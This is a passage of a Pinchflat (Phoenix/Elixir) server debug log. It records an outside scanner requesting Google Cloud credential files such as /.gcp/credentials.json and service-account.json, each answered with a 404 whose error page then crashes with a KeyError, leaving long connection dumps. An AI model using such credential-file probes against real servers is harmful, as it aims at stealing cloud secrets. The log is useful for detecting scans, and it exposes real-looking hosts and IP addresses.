:execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9803.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.gcp/credentials.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47216}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.gcp/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9803.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.gcp/credentials.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47216}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9804.0>, params: %{}, path_info: [".gcp", "credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.gcp/credentials.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, priva (truncated) 15:22:07.445 [info] GET /.gcp/service-account.json 15:22:07.445 [debug] QUERY OK source="settings" db=0.1ms idle=728.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:07.446 [debug] QUERY OK source="settings" db=0.0ms idle=494.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:07.446 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:07.446 [error] #PID<0.9806.0> running PinchflatWeb.Endpoint (connection #PID<0.9805.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.gcp/service-account.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.gcp/service-account (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9805.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.gcp/service-account.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47230}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9806.0>, params: %{}, path_info: [".gcp", "service-account"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.gcp/service-account.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDB6WqPihfBywAAdwC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9805.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.gcp/service-account.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47230}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.gcp/service-account (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9805.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.gcp/service-account.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47230}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9806.0>, params: %{}, path_info: [".gcp", "service-account"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.gcp/service-account.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ (truncated) 15:22:07.683 [info] GET /gcp-credentials.json 15:22:07.683 [debug] QUERY OK source="settings" db=0.1ms idle=474.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:07.683 [debug] QUERY OK source="settings" db=0.0ms idle=474.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:07.683 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:07.684 [error] #PID<0.9808.0> running PinchflatWeb.Endpoint (connection #PID<0.9807.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /gcp-credentials.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /gcp-credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9807.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/gcp-credentials.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47242}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9808.0>, params: %{}, path_info: ["gcp-credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/gcp-credentials.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDB7PYMxI6TNcAAdxC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9807.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/gcp-credentials.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47242}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /gcp-credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9807.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/gcp-credentials.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47242}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9808.0>, params: %{}, path_info: ["gcp-credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/gcp-credentials.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalid (truncated) 15:22:07.920 [info] GET /gcp-service-account.json 15:22:07.921 [debug] QUERY OK source="settings" db=0.3ms idle=475.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:07.921 [debug] QUERY OK source="settings" db=0.0ms idle=475.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:07.921 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:07.921 [error] #PID<0.9810.0> running PinchflatWeb.Endpoint (connection #PID<0.9809.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /gcp-service-account.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /gcp-service-account (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9809.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/gcp-service-account.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47256}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9810.0>, params: %{}, path_info: ["gcp-service-account"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/gcp-service-account.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDB8IAK3EVMtgAAdyC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9809.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/gcp-service-account.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47256}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /gcp-service-account (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9809.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/gcp-service-account.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47256}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9810.0>, params: %{}, path_info: ["gcp-service-account"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/gcp-service-account.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-con (truncated) 15:22:08.158 [info] GET /service-account.json 15:22:08.159 [debug] QUERY OK source="settings" db=0.1ms idle=631.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:08.159 [debug] QUERY OK source="settings" db=0.0ms idle=475.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:08.159 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:08.159 [error] #PID<0.9812.0> running PinchflatWeb.Endpoint (connection #PID<0.9811.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /service-account.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /service-account (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9811.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/service-account.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47264}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9812.0>, params: %{}, path_info: ["service-account"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/service-account.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", 